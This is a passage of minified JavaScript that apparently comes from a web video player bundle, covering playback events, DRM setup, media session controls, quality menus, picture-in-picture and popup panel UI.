oMD=function(x,T){x.Cf.experiments.aU("enable_adb_handling_in_sabr")&&(x.pauseVideo(!0),x.L0(),T&&x.V9("sabr.config",1,"BROWSER_OR_EXTENSION_ERROR"))};
Pk=function(x,T){x.publish("internalvideodatachange",T===void 0?"dataupdated":T,x,x.videoData)};
tYf=function(x){for(var T=g.S("loadstart loadedmetadata play playing progress pause ended suspend seeking seeked timeupdate durationchange ratechange error waiting resize".split(" ")),t=T.next();!t.done;t=T.next())x.jK.V(x.mediaElement,t.value,x.UW,x);x.Cf.IJ&&x.mediaElement.kQ()&&(x.jK.V(x.mediaElement,"webkitplaybacktargetavailabilitychanged",x.V8u,x),x.jK.V(x.mediaElement,"webkitcurrentplaybacktargetiswirelesschanged",x.YeQ,x))};
uC3=function(x){g.M2(x.nD);sJD(x)||(x.nD=g.mF(function(){return sJD(x)},100))};
sJD=function(x){var T=x.mediaElement;T&&x.Vq&&!x.videoData.uG&&!WM("vfp",x.MJ.timerName)&&T.LB()>=2&&!T.isEnded()&&ZD(T.kp())>0&&x.MJ.tick("vfp");return(T=x.mediaElement)&&!x.videoData.uG&&T.getDuration()>0&&(T.isPaused()&&T.LB()>=2&&ZD(T.kp())>0&&(WM("pbp",x.MJ.timerName)||x.MJ.tick("pbp"),!x.videoData.k$||x.Li||T.isSeeking()||(x.Li=!0,x.publish("onPlaybackPauseAtStart"))),T=T.getCurrentTime(),wR(x.Gw,T))?(x.JD(),!0):!1};
Hb3=function(x){x.VA().Yg();if(q$(x.videoData)&&Date.now()>x.oQ+6283){if(!(!x.isAtLiveHead()||x.videoData.C&&Ay(x.videoData.C))){var T=x.VA();if(T.qoe){T=T.qoe;var t=T.provider.Em.Zh(),u=g.Uw(T.provider);zaf(T,u,t);t=t.j;isNaN(t)||g.ky(T,u,"e2el",[t.toFixed(3)])}}x.B("html5_alc_live_log_rawlat")?(T=x.videoData,T=g.Yv(T.Y())?!0:g.p1(T.Y())?T.EU==="6":!1):T=g.Yv(x.Cf);T&&x.kc("rawlat",{l:eZ(x.ej,"rawlivelatency").toFixed(3)});x.oQ=Date.now()}x.videoData.Z&&Xt(x.videoData.Z)&&(T=x.oe())&&T.videoHeight!==
x.nj&&(x.nj=T.videoHeight,J65(x,"a",$p3(x,x.videoData.Cz)))};
$p3=function(x,T){if(T.C.video.quality==="auto"&&Xt(T.getInfo())&&x.videoData.L4)for(var t=g.S(x.videoData.L4),u=t.next();!u.done;u=t.next())if(u=u.value,u.getHeight()===x.nj&&u.C.video.quality!=="auto")return u.getInfo();return T.getInfo()};
VZf=function(x){if(!q$(x.videoData))return NaN;var T=0;x.Kf&&x.videoData.C&&(T=ZF(x.videoData)?x.Kf.tb.Z$()||0:x.videoData.C.Hv);return(0,g.bo)()/1E3-x.p4()-T};
Is5=function(x){x.mediaElement&&x.mediaElement.D$()&&(x.S9=(0,g.bo)());x.Cf.t8?g.lP(function(){ibm(x)},0):ibm(x)};
ibm=function(x){var T;if((T=x.FW)==null||!T.YG()){if(x.mediaElement)try{x.fD=x.mediaElement.playVideo()}catch(u){ck(x,"err."+u)}if(x.fD){var t=x.fD;t.then(void 0,function(u){x.logger.debug(function(){return"playMediaElement failed: "+u});
if(!g.p(x.playerState,4)&&!g.p(x.playerState,256)&&x.fD===t)if(u&&u.name==="AbortError"&&u.message&&u.message.includes("load"))x.logger.debug(function(){return"ignore play media element failure: "+u.message});
else{var H="promise";u&&u.name&&(H+=";m."+u.name);ck(x,H);x.Kw=!0;x.videoData.hR=!0}})}}};
ck=function(x,T){g.p(x.playerState,128)||(x.QF(E1(x.playerState,1028,9)),x.kc("dompaused",{r:T}),x.publish("onAutoplayBlocked"))};
M3=function(x,T){T=T===void 0?!1:T;if(!x.mediaElement||!x.videoData.j)return!1;var t=T;t=t===void 0?!1:t;var u=null;var H;if((H=x.videoData.j)==null?0:H.C){u=Khq(x,t);var I;(I=x.Kf)==null||I.resume()}else SZ(x),x.videoData.Cz&&(u=x.videoData.Cz.Nq());H=x.mediaElement.qA();t=!1;H&&H.RH(u)||(EMv(x,u),t=!0);g.p(x.playerState,2)||(u=x.n2,T=T===void 0?!1:T,u.T||!(u.K>0)||u.mediaElement&&u.mediaElement.getCurrentTime()>0||(T={wp:"seektimeline_resumeTime",fN:T},u.videoData.uG||(T.seekSource=15),u.seekTo(u.K,
T)));a:{T=t;if($7(x.videoData)){if(!x.videoData.Ut())break a}else if(!g.AB(x.videoData))break a;if(x.mediaElement)if((u=x.videoData.T)&&x.mediaElement.kQ()){H=x.mediaElement.yA();if(x.Ei)if(H!==x.Ei.element)rk(x);else if(T&&u.flavor==="fairplay"&&!Jg())rk(x);else break a;if(x.B("html5_report_error_for_unsupported_tvos_widevine")&&Jg()&&u.flavor==="widevine")x.V9("fmt.unplayable",1,"HTML5_NO_AVAILABLE_FORMATS_FALLBACK","drm.unspttvoswidevine");else{x.Ei=new dI3(H,x.videoData,x.Cf);x.Ei.subscribe("licenseerror",
x.Zv,x);x.Ei.subscribe("qualitychange",x.gPG,x);x.Ei.subscribe("heartbeatparams",x.L5,x);x.Ei.subscribe("keystatuseschange",x.ZS,x);x.Ei.subscribe("ctmp",x.kc,x);x.B("html5_widevine_use_fake_pssh")&&!x.videoData.isLivePlayback&&u.flavor==="widevine"&&x.Ei.Xn(new Id(qZ4,"cenc",!1));T=g.S(x.ow.keys);for(u=T.next();!u.done;u=T.next())u=x.ow.get(u.value),x.Ei.Xn(u);x.B("html5_eme_loader_sync")||x.ow.removeAll()}}else x.V9("fmt.unplayable",1,"HTML5_NO_AVAILABLE_FORMATS_FALLBACK","drm.1")}return t};
EMv=function(x,T){x.MJ.tick("vta");yK("vta",void 0,"video_to_ad");x.getCurrentTime()>0&&Hwi(x.n2,x.getCurrentTime());x.mediaElement.activate(T);x.FW&&TG(0,4);!x.videoData.uG&&x.playerState.isOrWillBePlaying()&&x.pm.start();if(CRf(x)){var t;if(T=(t=x.mediaElement)==null?void 0:t.audioTracks())T.onchange=function(){x.publish("internalaudioformatchange",x.videoData,!0)}}};
rk=function(x){x.Ei&&(x.Ei.dispose(),x.Ei=null)};
ZbD=function(x){var T=T===void 0?!1:T;x.logger.debug("reattachVideoSource");x.mediaElement&&(x.FW?(rk(x),x.kq(),Khq(x,T)):(x.videoData.Cz&&x.videoData.Cz.zl(),x.mediaElement.stopVideo()),x.playVideo())};
jJX=function(x,T){x.Cf.B("html5_log_rebuffer_reason")&&(T={r:T,lact:bH()},x.mediaElement&&(T.bh=oG(x.mediaElement)),x.kc("bufreason",T))};
e7i=function(x,T){if(x.Cf.AM()&&x.mediaElement){var t=x.mediaElement.K2();t.omt=(x.mediaElement.getCurrentTime()+x.Pk()).toFixed(3);t.ps=x.playerState.state.toString(16);t.rt=(g.Uw(x.VA().provider)*1E3).toFixed();t.e=T;x.BC[x.uU++%5]=t}try{if(T==="timeupdate"||T==="progress")return}catch(u){}x.logger.debug(function(){return"video element event "+T})};
ls4=function(x){if(x.Cf.AM()){x.BC.sort(function(u,H){return+u.rt-+H.rt});
for(var T=g.S(x.BC),t=T.next();!t.done;t=T.next())t=t.value,x.kc("vpe",Object.assign({t:t.rt},t));x.BC=[];x.uU=0}};
mpJ=function(x){if(g.D2("cobalt")&&g.D2("nintendo switch")){var T=!window.matchMedia("screen and (max-height: 720px) and (min-resolution: 200dpi)").matches;x.kc("nxdock",{d:T})}};
bR=function(x,T){var t;(t=x.Kf)==null||I1(t,T)};
kb4=function(x,T){return g.pB(x.videoData)&&x.zI?x.zI.handleError(T,void 0):!1};
gG5=function(x){ED(x.videoData,"html5_set_debugging_opt_in")&&(x=g.Bc(),g.Wc(0,183)||(yT(183,!0),x.save()))};
dpJ=function(x){return g.pB(x.videoData)&&x.zI?Xa(x.zI):x.videoData.gb()};
FEX=function(x,T){x.sF.d_()||(x.kc("sgap",{f:T}),x.sF.clearQueue(!1,T==="pe"))};
iR=function(x){return x.B("html5_disable_video_player_initiated_seeks")&&$7(x.videoData)};
MYv=function(x){OT.call(this,x);var T=this;this.events=new g.nj(x);g.y(this,this.events);HF(this.api,"isLifaAdPlaying",function(){return T.api.isLifaAdPlaying()});
this.events.V(x,"serverstitchedvideochange",function(){var t;(t=T.api.getVideoData())!=null&&t.Ty()&&(T.api.isLifaAdPlaying()?(T.playbackRate=T.api.getPlaybackRate(),T.api.setPlaybackRate(1)):T.api.setPlaybackRate(T.playbackRate))});
this.playbackRate=1};
Akv=function(x){OT.call(this,x);var T=this;this.events=new g.nj(x);g.y(this,this.events);HF(this.api,"seekToChapterWithAnimation",function(t){T.seekToChapterWithAnimation(t)});
HF(this.api,"seekToTimeWithAnimation",function(t,u){T.seekToTimeWithAnimation(t,u)});
HF(this.api,"renderChapterSeekingAnimation",function(t,u,H){T.api.renderChapterSeekingAnimation(t,u,H)});
HF(this.api,"setMacroMarkers",function(t){T.setMacroMarkers(x,t)});
HF(this.api,"changeMarkerVisibility",function(t,u,H){T.changeMarkerVisibility(t,u,H)});
HF(this.api,"isSameMarkerTypeVisible",function(t){return T.isSameMarkerTypeVisible(t)})};
R7m=function(x,T,t){var u=x.api.getCurrentTime()*1E3<T?1:-1;x.api.renderChapterSeekingAnimation(u,t);x.api.seekTo(T/1E3,void 0,void 0,void 0,3)};
P8H=function(x,T){var t,u;return(t=i1(x,"macroMarkersListEntity",T))==null?void 0:(u=t.markersList)==null?void 0:u.markerType};
SZH=function(x,T){var t=g.TT.getState().entities;x=P8H(t,x);T=g.S(T.Lz);for(var u=T.next();!u.done;u=T.next())if(x===P8H(t,u.value))return!0;return!1};
zU=function(x){OT.call(this,x);var T=this;this.events=new g.nj(x);g.y(this,this.events);this.events.V(x,"videodatachange",function(){T.updateMetadata()});
this.events.V(x,"presentingplayerstatechange",function(){ckJ(T)})};
kG=function(x,T){try{navigator.mediaSession.setActionHandler(x,T)}catch(t){}};
YZC=function(x){kG("play",function(){x.api.playVideo()});
kG("pause",function(){x.api.pauseVideo()});
kG("seekbackward",function(){x.api.seekBy(-5*x.api.getPlaybackRate())});
kG("seekforward",function(){x.api.seekBy(5*x.api.getPlaybackRate())});
kG("seekto",function(T){((T=T.seekTime)||x.api.B("web_player_misc_bugfix_a")&&T!=null)&&x.api.seekTo(T)})};
UpX=function(x){var T,t,u,H;return(T=x.api.getVideoData().getWatchNextResponse())==null?void 0:(t=T.playerOverlays)==null?void 0:(u=t.playerOverlayRenderer)==null?void 0:(H=u.browserMediaSession)==null?void 0:H.browserMediaSessionRenderer};
bbX=function(x){var T=[];if(!x||!x.thumbnails)return T;x=g.S(x.thumbnails);for(var t=x.next();!t.done;t=x.next())t=t.value,t.url&&(!t.width||t.width<=0||!t.height||t.height<=0||g.xm(t.url)&&T.push({src:t.url||"",sizes:t.width+"x"+t.height,type:"image/jpeg"}));return T};
ckJ=function(x){x=x.api.getPlayerStateObject();x=x.isCued()||x.isError()?"none":x.isOrWillBePlaying()?"playing":"paused";navigator.mediaSession.playbackState=x};
rkJ=function(x){var T=x.api.getProgressState().seekableEnd;T&&navigator.mediaSession.setPositionState&&navigator.mediaSession.setPositionState({duration:T,playbackRate:x.api.getPlaybackRate(),position:x.api.getCurrentTime()})};
F8=function(x){OT.call(this,x);var T=this;this.Z=new Map;this.j=this.C=void 0;this.compositeVideoState=null;this.events=new g.nj(x);g.y(this,this.events);this.events.V(x,"modulecreated",function(t){var u;a:{var H,I,E,Z=(H=T.api.getVideoData())==null?void 0:(I=H.getPlayerResponse())==null?void 0:(E=I.overlay)==null?void 0:E.playerControlsOverlayRenderer;if(Z&&(H=g.N(Z.compositeVideoOverlay,z7m),H==null?0:(u=H.sources)==null?0:u.length))for(u=g.S(H==null?void 0:H.sources),H=u.next();!H.done;H=u.next())if(H=
H.value,H.isActive){u=H;break a}u=void 0}t==="captions"&&(u==null?void 0:u.topLeftCornerX)!==void 0&&(u==null?void 0:u.topLeftCornerY)!==void 0&&(u==null?void 0:u.width)!==void 0&&(u==null?void 0:u.height)!==void 0&&T.api.SO({top:u.topLeftCornerY,right:1-u.topLeftCornerX-u.width,bottom:1-u.topLeftCornerY-u.height,left:u.topLeftCornerX})});
this.events.V(x,"videodatachange",function(t){var u=T.api.getVideoData();T.C=void 0;T.Z.clear();T.api.Xa("compositeembargo",1);var H=u==null?void 0:u.b0.get("PLAYER_CUE_RANGE_SET_IDENTIFIER_EMBARGO");(H==null?0:H.length)?k6H(T,H.filter(function(I){return FQi(T,I)})):(u==null?0:u.cueRanges)&&k6H(T,u.cueRanges.filter(function(I){return FQi(T,I)}));
t==="dataupdated"&&(u==null?void 0:u.compositeLiveStatusToken)!==T.j&&(T.j=u==null?void 0:u.compositeLiveStatusToken,T.api.sL())});
this.events.V(x,g.$m("compositeembargo"),function(t){var u;if(((u=T.C)==null?void 0:u.id)!==t.id&&(T.api.Sb(!0),T.Z.has(t.id))){var H=T.Z.get(t.id);u=T.api.getVideoData();H=g.S(H);for(var I=H.next();!I.done;I=H.next()){var E=void 0;I=(E=I.value.compositeEmbargo)==null?void 0:E.embargoStatusToken;u.tj!==I&&(u.tj=I,T.api.sL());h7q(T,t)}}});
this.events.V(x,g.Hv("compositeembargo"),function(t){var u;if(((u=T.C)==null?void 0:u.id)===t.id&&(T.api.Sb(!1),T.Z.has(t.id))){if(t=T.api.getVideoData())t.tj=void 0;T.api.sL();h7q(T)}});
this.events.V(x,"heartbeatRequest",function(t){T.compositeVideoState!==null&&(t.playbackState||(t.playbackState={}),t.playbackState.compositeVideoState=T.compositeVideoState)});
this.events.V(x,"internalaudioformatchange",function(t){if(T.api.B("html5_sabr_enable_server_xtag_selection")){var u=T.api.getVideoData(void 0,!0);if(u&&pm(u)){var H=T.api.getAvailableAudioTracks();H=g.S(H);for(var I=H.next();!I.done;I=H.next())if(I.value.getLanguageInfo().getId()===t){u.OG=t;break}}}});
this.events.V(x,"onPlaybackAudioChange",function(){T.api.sL()});
HF(x,"setCompositeParam",function(t){T.compositeVideoState=t})};
h7q=function(x,T){var t;((t=x.C)==null?void 0:t.id)!==(T==null?void 0:T.id)&&(x.C&&(x.Z.delete(x.C.id),x.api.YX([x.C],1)),x.C=T)};
k6H=function(x,T){T=g.S(T);for(var t=T.next();!t.done;t=T.next()){var u=t.value,H=void 0;t=Number((H=u.playbackRelativePosition)==null?void 0:H.utcTimeMs)/1E3;var I=void 0;H=t+Number((I=u.duration)==null?void 0:I.seconds);I="composite_embargo_"+t;u.onEnter&&(u=u.onEnter.filter(x.K),u.length&&(x.Z.set(I,u),x.api.addUtcCueRange(I,t,H,"compositeembargo",!1)))}};
FQi=function(x,T){var t;return(t=T.onEnter)==null?void 0:t.some(x.K)};
vM3=function(x){OT.call(this,x);HF(this.api,"queueOfflineAction",this.queueOfflineAction.bind(this));HF(this.api,"updateDownloadState",this.updateDownloadState.bind(this));HF(this.api,"pauseVideoDownload",this.pauseVideoDownload.bind(this));HF(this.api,"resumeVideoDownload",this.resumeVideoDownload.bind(this));HF(this.api,"isOrchestrationLeader",this.isOrchestrationLeader.bind(this));HF(this.api,"refreshAllStaleEntities",this.refreshAllStaleEntities.bind(this));HF(this.api,"setUpPositionSyncInterval",
this.setUpPositionSyncInterval.bind(this))};
h6=function(x){OT.call(this,x);var T=this;HF(x,"getAvailableQualityData",function(){return T.getAvailableQualityData()});
HF(x,"getAvailableQualityDataAndMessaging",function(){return T.getAvailableQualityDataAndMessaging()})};
VY3=function(x,T,t){var u=[],H=T?156595:151874;x=g.S(x);for(var I=x.next();!I.done;I=x.next()){var E=I.value;I=E.video;E={formatId:E.id,qualityLabel:I.qualityLabel,quality:I.quality,isPlayable:T};if(I=t.get(I.qualityLabel))E.paygatedQualityDetails={paygatedIndicatorText:I.paygatedIndicatorText,endpoint:I.endpoint,veType:H,trackingParams:I.trackingParams};u.push(E)}return u};
G6q=function(x){for(var T=0,t=0;t<x.length;t++)if(x[t].paygatedQualityDetails){var u=x[t];x.splice(t,1);x.splice(T,0,u);T++}};
LQq=function(x){var T=new Set,t=new Map,u={};x=g.S(x);for(var H=x.next();!H.done;H=x.next()){H=H.value;var I=H.quality,E=H.isPlayable,Z=H.qualityLabel;Z&&I&&(E&&t.has(I)&&t.get(I)!==Z?T.add(I):E&&t.set(I,Z),u[Z]||(u[Z]=H))}t=[];u=g.S(Object.values(u));for(x=u.next();!x.done;x=u.next())H=x.value,(x=H.quality)&&!T.has(x)&&(H.formatId=void 0),t.push(H);return t};
vk=function(x){OT.call(this,x);var T=this;this.j=1;this.MJ=null;this.yF={VlY:function(){return T.j}};
this.events=new g.nj(x);g.y(this,this.events);this.events.V(x,"d6de4videobindingchange",function(t){T.Wy(t)});
this.events.V(x,"csiinitialized",function(){nMH(T)})};
nMH=function(x){if(asX()){x.MJ=x.api.Vs();x.C=new XG;x.j=2;var T=g.Z9(x.api.Y().experiments,"html5_d6de4_defer_timeout_ms");x.MJ.T7("pt_pish");T?g.lP(function(){gM3(x)},T):x.api.B("html5_enable_d6de4_idle_priority_job")&&window.requestIdleCallback?window.requestIdleCallback(function(){gM3(x)}):gM3(x)}};
gM3=function(x){if(asX()){x.MJ=x.api.Vs();var T=g.Z9(x.api.Y().experiments,"html5_d6de4_cloud_project_number");x.MJ.T7("pt_pis");try{window.android.webview.getExperimentalMediaIntegrityTokenProvider({cloudProjectNumber:T}).then(function(u){x.Z=u;var H;(H=x.C)==null||H.resolve();x.MJ.T7("pt_pif")}).catch(function(u){VY(u,"player_start");
x.MJ.T7("pt_pie");var H;(H=x.C)==null||H.reject(u)})}catch(u){VY(u,"player_start_catch");
x.api.kc("pfes",{});var t;(t=x.C)==null||t.reject(u)}}};
B_V=function(x,T){if(x.Z&&!x.B("html5_disable_d6de4_mint_debug")){var t=T.videoId;x.j=3;x.MJ.T7("pt_ms");try{x.Z.requestToken(t).then(function(u){x.MJ.T7("pt_mf");if(u=im(u))T.uh={BN9:u}}).catch(function(u){x.MJ.T7("pt_me");
VY(u,"player_generate");x.handleError(u,T)})}catch(u){VY(u,"player_generate_catch"),x.handleError(u,T)}}};
WQC=function(x,T){x.api.B("html5_enable_d6de4_cold_start_and_error")&&(T.uh={coldStartInfo:{clientState:x.j}})};
VY=function(x,T){x.message&&g.Vh(Error(T+"_"+x.message))};
asX=function(){return window.android&&window.android.webview&&window.android.webview.getExperimentalMediaIntegrityTokenProvider};
GU=function(x){g.Q.call(this,{L:"button",DZ:["ytp-pip-button","ytp-button"],X:{title:"{{title}}","data-priority":"7","data-title-no-tooltip":"{{data-title-no-tooltip}}","data-tooltip-target-id":"ytp-pip-button"},W:[zyC()]});var T=this;this.api=x;this.listen("click",this.onClick);var t=this.api.BE(),u=t.subscribe("visibilitystatechange",function(){T.Nj(t.cE())});
this.addOnDisposeCallback(function(){t.Cd(u)});
cF(x,this.element,this);this.Nj(t.cE())};
Lw=function(x){OT.call(this,x);var T=this;this.events=new g.nj(x);g.y(this,this.events);this.events.V(x,"standardControlsInitialized",function(){T.createButton()});
g.f1(this.api.Y())&&(this.B("web_watch_pip")||this.B("web_shorts_pip"))&&HF(this.api,"setDocumentPictureInPicture",function(t){T.setDocumentPictureInPicture(t)})};
Dpi=function(x){var T=x.api.getVideoData();x.button.ou(T.qH)};
yk5=function(x){OT.call(this,x);var T=this;this.events=new g.nj(x);g.y(this,this.events);HF(this.api,"musicDisableUi",function(){g.uY(T.api.getRootNode(),"ytp-player-in-bar-disable-ui")});
HF(this.api,"musicEnableUi",function(){g.H$(T.api.getRootNode(),"ytp-player-in-bar-disable-ui")})};
gk=function(x,T,t){T=T===void 0?!0:T;t=t===void 0?!1:t;g.Q.call(this,{L:"div",G:"ytp-suggested-action"});var u=this;this.U=x;this.hM=this.jY=this.uG=this.ZZ=this.K=this.J=this.expanded=this.enabled=this.mu=!1;this.Ee=new g.wX(function(){u.badge.element.style.width=""},200,this);
this.nf=new g.wX(function(){nw(u);az(u)},200,this);
this.G9=this.U.B("delhi_modern_web_player")?40:34;this.dismissButton=new g.Q({L:"button",DZ:["ytp-suggested-action-badge-dismiss-button-icon","ytp-button"]});g.y(this,this.dismissButton);this.j=new g.Q({L:"div",G:"ytp-suggested-action-badge-expanded-content-container",W:[{L:"label",G:"ytp-suggested-action-badge-title",z9:"{{badgeLabel}}"},this.dismissButton]});g.y(this,this.j);this.hQ=new g.Q({L:"div",G:"ytp-suggested-action-badge-icon-container",W:[T?{L:"div",G:"ytp-suggested-action-badge-icon"}:
""]});g.y(this,this.hQ);this.badge=new g.Q({L:t?"div":"button",DZ:["ytp-button","ytp-suggested-action-badge","ytp-suggested-action-badge-with-controls"],W:[this.hQ,this.j]});g.y(this,this.badge);this.badge.yU(this.element);this.S=new g.XK(this.badge,250,!1,100);g.y(this,this.S);this.SY=new g.XK(this.j,250,!1,100);g.y(this,this.SY);this.Cz=new g.pt(this.z27,null,this);g.y(this,this.Cz);this.tQ=new g.pt(this.Bi,null,this);g.y(this,this.tQ);g.y(this,this.Ee);g.y(this,this.nf);this.U.createServerVe(this.badge.element,
this.badge,!0);this.U.createServerVe(this.dismissButton.element,this.dismissButton,!0);this.V(this.U,"onHideControls",function(){u.Si(!1)});
this.V(this.U,"onShowControls",function(){u.Si(!0)});
this.V(this.badge.element,"click",this.jt);this.V(this.dismissButton.element,"click",this.e_);this.V(this.U,"pageTransition",this.tE);this.V(this.U,"appresize",this.Ka);this.V(this.U,"fullscreentoggled",this.Tp9);this.V(this.U,"cardstatechange",this.bzf);this.V(this.U,"annotationvisibility",this.e2G,this);this.V(this.U,"offlineslatestatechange",this.a$j,this)};
nw=function(x){g.Ic(x.badge.element,"ytp-suggested-action-badge-with-controls",x.uG||!x.J)};
az=function(x,T){var t=x.r7();x.expanded!==t&&(x.expanded=t,T===void 0||T?(x.Cz.stop(),x.tQ.stop(),x.Ee.stop(),x.Cz.start()):(x.j.ou(x.expanded),g.Ic(x.badge.element,"ytp-suggested-action-badge-expanded",x.expanded)),x.Ho())};
N_D=function(x){var T=x.text||"",t=g.Q9("ytp-suggested-action-badge-title",x.element);t&&g.$U(t,T);x.badge.element.setAttribute("aria-label",T);x.dismissButton.element.setAttribute("aria-label",x.AQ?x.AQ:"")};
Bk=function(x,T,t,u,H,I){var E={L:"div",G:"ytp-panel"};if(t){var Z="ytp-panel-back-button";var e="ytp-panel-title";var l={L:"div",G:"ytp-panel-header",W:[{L:"div",DZ:["ytp-panel-back-button-container"],W:[{X:{"aria-label":"Back to previous menu"},L:"button",DZ:["ytp-button",Z]}]},{L:"span",DZ:[e],X:x.B("web_enable_a11y_header_role_in_panel")?{role:"heading","aria-level":"2"}:void 0,W:[t]}]};if(H){var m="ytp-panel-options";l.W.push({L:"button",DZ:["ytp-button",m],W:[u]})}E.W=[l]}u=!1;I&&(I={L:"div",
G:"ytp-panel-footer",W:[I]},u=!0,E.W?E.W.push(I):E.W=[I]);g.qS.call(this,E);this.content=T;u&&E.W?T.yU(this.element,E.W.length-1):T.yU(this.element);this.IP=!1;this.ym=u;t&&(t=this.Um(e),this.V(this.Um(Z),"click",this.jC),this.V(t,"click",this.jC),this.IP=!0,H&&this.V(this.Um(m),"click",H));T.subscribe("size-change",this.Lb,this);this.V(x,"fullscreentoggled",this.Lb);this.U=x};
g.Wk=function(x,T,t,u,H,I){T=T===void 0?null:T;var E={role:"menu"};T&&(E.id=T);T=new g.qS({L:"div",G:"ytp-panel-menu",X:E});Bk.call(this,x,T,t,u,H,I);this.menuItems=T;this.items=[];g.y(this,this.menuItems)};
g.DE=function(x){for(var T=g.S(x.items),t=T.next();!t.done;t=T.next())t.value.unsubscribe("size-change",x.JL,x);x.items=[];try{g.o0(x.menuItems.element)}catch(I){var u,H;g.Vh(new g.CS("Failed to remove menu items from panel menu.",{error:I.message,originalStack:I.stack,childToBeRemoved:(H=(u=x.menuItems.element.firstChild)==null?void 0:u.textContent)!=null?H:"child element not found"}))}x.menuItems.publish("size-change")};
JkV=function(x,T){return T.priority-x.priority};
g.yY=function(x,T){g.BF.call(this,x,{L:"div",DZ:["ytp-popup",T||""]},100,!0);this.C=[];this.N=this.D=null;this.maxHeight=this.maxWidth=0;this.size=new g.lu(0,0);this.listen("keydown",this.Sq)};
C8i=function(x){var T=x.C[x.C.length-1];if(T){g.Sw(x.element,x.maxWidth||"100%",x.maxHeight||"100%");g.Zt(T.element,"width","");g.Zt(T.element,"height","");g.Zt(T.element,"maxWidth","100%");g.Zt(T.element,"maxHeight","100%");g.Zt(T.content.element,"height","");var t=g.cf(T.element);t.width+=1;t.height+=1;g.Zt(T.element,"width",t.width+"px");g.Zt(T.element,"height",t.height+"px");g.Zt(T.element,"maxWidth","");g.Zt(T.element,"maxHeight","");var u=0;T.IP&&(u=g.cf(T.Um("ytp-panel-header")).height);var H=
0;T.ym&&(H=T.Um("ytp-panel-footer"),g.Zt(H,"width",t.width+"px"),H=g.cf(H).height);g.Zt(T.content.element,"height",t.height-u-H+"px");T.element instanceof HTMLElement&&(u=T.element,H=u.scrollWidth-u.clientWidth,u.offsetWidth-u.clientWidth>0&&H>0&&(t.width+=H,g.Zt(T.element,"width",t.width+"px")));x.size=t}};
g.N3=function(x,T){var t=x.C[x.C.length-1];t!==T&&(x.C.push(T),QJH(x,t,T))};
g.J6=function(x){if(!(x.C.length<=1)){var T=x.C.pop(),t=x.C[0];x.C=[t];QJH(x,T,t,!0)}};
QJH=function(x,T,t,u){p8H(x);T&&(T.unsubscribe("size-change",x.Ef,x),T.unsubscribe("back",x.LU,x));t.subscribe("size-change",x.Ef,x);t.subscribe("back",x.LU,x);if(x.lN){g.uY(t.element,u?"ytp-panel-animate-back":"ytp-panel-animate-forward");t.yU(x.element);t.focus();x.element.scrollLeft=0;x.element.scrollTop=0;var H=x.size;C8i(x);g.Sw(x.element,H);x.D=new g.wX(function(){ObC(x,T,t,u)},20,x);
x.D.start()}else t.yU(x.element),T&&T.detach()};
ObC=function(x,T,t,u){x.D.dispose();x.D=null;g.uY(x.element,"ytp-popup-animating");u?(g.uY(T.element,"ytp-panel-animate-forward"),g.H$(t.element,"ytp-panel-animate-back")):(g.uY(T.element,"ytp-panel-animate-back"),g.H$(t.element,"ytp-panel-animate-forward"));g.Sw(x.element,x.size);x.N=new g.wX(function(){g.H$(x.element,"ytp-popup-animating");T.detach();g.iY(T.element,["ytp-panel-animate-back","ytp-panel-animate-forward"]);x.N.dispose();x.N=null},250,x);
x.N.start()};
p8H=function(x){x.D&&g.Xj(x.D);x.N&&g.Xj(x.N)};
Cw=function(x){g.yY.call(this,x,"ytp-shopping-product-menu");this.PS=new g.Wk(this.U);g.y(this,this.PS);this.hide();g.N3(this,this.PS);g.V$(this.U,this.element,4)};
w8V=function(x,T,t){var u,H=T==null?void 0:(u=T.text)==null?void 0:u.simpleText;H&&(t=fsH(x,t,H,T==null?void 0:T.icon,T==null?void 0:T.secondaryIcon),T.navigationEndpoint&&t.listen("click",function(){x.U.XW("innertubeCommand",T.navigationEndpoint);x.hide()},x))};
KQq=function(x,T,t){var u,H=T==null?void 0:(u=T.text)==null?void 0:u.simpleText;H&&fsH(x,t,H,T==null?void 0:T.icon).listen("click",function(){var I;(T==null?void 0:(I=T.icon)==null?void 0:I.iconType)==="HIDE"?x.U.publish("featuredproductdismissed"):T.serviceEndpoint&&x.U.XW("innertubeCommand",T.serviceEndpoint);x.hide()},x)};
fsH=function(x,T,t,u,H){T=new g.JW(g.CW({},[],!1,!!H),T,t);H&&T.updateValue("secondaryIcon",X8q(H));T.setIcon(X8q(u));g.y(x,T);x.PS.NU(T,!0);return T};
X8q=function(x){if(!x)return null;switch(x.iconType){case "ACCOUNT_CIRCLE":return{L:"svg",X:{height:"24",viewBox:"0 0 24 24",width:"24"},W:[{L:"path",X:{d:"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 1c4.96 0 9 4.04 9 9 0 1.42-.34 2.76-.93 3.96-1.53-1.72-3.98-2.89-7.38-3.03A3.99 3.99 0 0016 9c0-2.21-1.79-4-4-4S8 6.79 8 9c0 1.97 1.43 3.6 3.31 3.93-3.4.14-5.85 1.31-7.38 3.03C3.34 14.76 3 13.42 3 12c0-4.96 4.04-9 9-9zM9 9c0-1.65 1.35-3 3-3s3 1.35 3 3-1.35 3-3 3-3-1.35-3-3zm3 12c-3.16 0-5.94-1.64-7.55-4.12C6.01 14.93 8.61 13.9 12 13.9c3.39 0 5.99 1.03 7.55 2.98C17.94 19.36 15.16 21 12 21z",
fill:"#fff"}}]};case "FLAG":return{L:"svg",X:{fill:"none",height:"24",viewBox:"0 0 24 24",width:"24"},W:[{L:"path",X:{d:"M13.18 4L13.42 5.2L13.58 6H14.4H19V13H13.82L13.58 11.8L13.42 11H12.6H6V4H13.18ZM14 3H5V21H6V12H12.6L13 14H20V5H14.4L14 3Z",fill:"white"}}]};case "HELP":return PoD();case "HIDE":return{L:"svg",X:{"enable-background":"new 0 0 24 24",fill:"#fff",height:"24",viewBox:"0 0 24 24",width:"24"},W:[{L:"g",W:[{L:"path",X:{d:"M16.24,9.17L13.41,12l2.83,2.83l-1.41,1.41L12,13.41l-2.83,2.83l-1.41-1.41L10.59,12L7.76,9.17l1.41-1.41L12,10.59 l2.83-2.83L16.24,9.17z M4.93,4.93c-3.91,3.91-3.91,10.24,0,14.14c3.91,3.91,10.24,3.91,14.14,0c3.91-3.91,3.91-10.24,0-14.14 C15.17,1.02,8.83,1.02,4.93,4.93z M18.36,5.64c3.51,3.51,3.51,9.22,0,12.73s-9.22,3.51-12.73,0s-3.51-9.22,0-12.73 C9.15,2.13,14.85,2.13,18.36,5.64z"}}]}]};
case "OPEN_IN_NEW":return ca()}};
